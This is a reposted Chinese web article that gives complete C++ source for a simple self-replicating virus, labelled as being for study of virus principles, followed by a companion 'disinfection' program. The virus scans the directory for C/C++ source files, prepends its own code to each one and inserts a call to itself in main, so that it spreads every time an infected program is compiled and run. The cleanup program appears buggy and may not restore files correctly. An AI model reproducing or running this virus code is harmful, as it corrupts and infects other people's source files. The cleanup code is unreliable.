c/c++病毒程序


//START
#include <windows.h>
#include <fstream>
#include <string>
#include <iostream>
using namespace std;
//此程序僅供病毒原理學習之用
//請勿用此程序進行破壞計算機之行為,否則由此引發之后果自負
//保留所有權利,東北大學秦皇島分校2009年6月1日
void vir()
{
string CurFileName = __FILE__;//絕對路徑
string obCurFileName          //相對路徑
   = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);      
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代碼
string FileCode[500]; //宿主代碼

int CodeLen = 0;//病毒代碼長度
int FileLen = 0;//宿主代碼長度

//病毒函數調用應當插在"main("后面的第一個"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;

//提取待傳播的當前文件中的病毒代碼
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
   if(VirusCode[CodeLen] == "//END")
   {
    CodeLen++;
    break;
   }
}
VirusFile.close();
//依次感染宿主文件
while (true)
{
   //不能感染當前.cpp文件和已感染的文件
   if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
   {
    cout<<FindFileData.cFileName<<":是感染源!/n";
   }
   else//感染其它文件
   {
    //加載宿主文件
    ifstream ibe(FindFileData.cFileName);
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if (FileCode[FileLen].find("main") != -1)
     {
      InsertLoc = FileLen;
     }
    }
    ibe.close();
    if(FileCode[0] == "//START")//該文件已被感染
    {
     cout<<FindFileData.cFileName<<":已攜帶了病毒!/n";
    }
    else if (FileLen > 500)
    {
     cout<<FindFileData.cFileName<<":文件太大了!/n";
    }
    else
    {
     //打開宿主文件
     ofstream be(FindFileData.cFileName);
     //插入病毒代碼
     for(int i = 0;i < CodeLen;i++)
     {
      be<<VirusCode[i]<<endl;
     }
     //病毒函數調用位置前文本插入
     for(int i = 0;i < InsertLoc;i++)
     {
      be<<FileCode[i]<<endl;
     }
     //插入函數調用vir()
     for(int i = InsertLoc;i < FileLen;i++)
     {
      int j = FileCode[i].find('{');
      if(j != -1)
      {
       FileCode[i].insert(j + 1,"/nvir();");
       break;
      }
     }
     //病毒函數調用位置后插入剩余文本
     for(int i = InsertLoc;i < FileLen;i++)
     {
      be<<FileCode[i]<<endl;
     }
     be.close();
     cout<<FindFileData.cFileName<<":感染成功!/n";
    }
   }
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
//END
int main()
{
vir();
return 0;
}
殺毒程序:
#include <windows.h>
#include <fstream>
#include <string>
#include <vector>
#include <iostream>
using namespace std;
//此程序僅供病毒原理學習之用
//請勿用此程序進行破壞計算機之行為,否則由此引發之后果自負
//保留所有權利,東北大學秦皇島分校2009年6月1日
void revir()
{
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);

string FileCode[500];

//病毒函數調用應當插在"main"后面的第一個"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
//依次清除宿主文件 
while (true)
{
   //加載文件
   int FileLen = 0; //宿主代碼長度
   int MainLoc = 0; //主函數位置
  
   ifstream ibe(FindFileData.cFileName);
   getline(ibe,FileCode[0]);
  
   if(FileCode[0] == "//START")//當前文件被感染過
   {
    //病毒代碼要過慮掉
    for(FileLen = 0;getline(ibe,FileCode[0]);)
    {
     if(FileCode[FileLen] == "//END")
     {
      break;
     }
    }
    //宿主未感染前的代碼
    for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
    {
     if(FileCode[FileLen].find("main") != -1)
     {
      MainLoc = FileLen;
     }
    }
   
    //清除主文件中的函數調用
    for (int i = MainLoc;i < FileLen;i++)
    {
     if(FileCode[i].find('{') != -1)
     {
      FileCode[i + 1] = "";
      break;
     }
    }
    ibe.close();
   
    ofstream be(FindFileData.cFileName);
    for(int i = 0;i < FileLen;i++)
    {
     be<<FileCode[i]<<endl;
    }
    be.close();
    cout<<FindFileData.cFileName<<":病毒清除成功/n";
   }
   cout<<FindFileData.cFileName<<":沒有被感染!/n";
   if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
int main()
{
revir();
return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM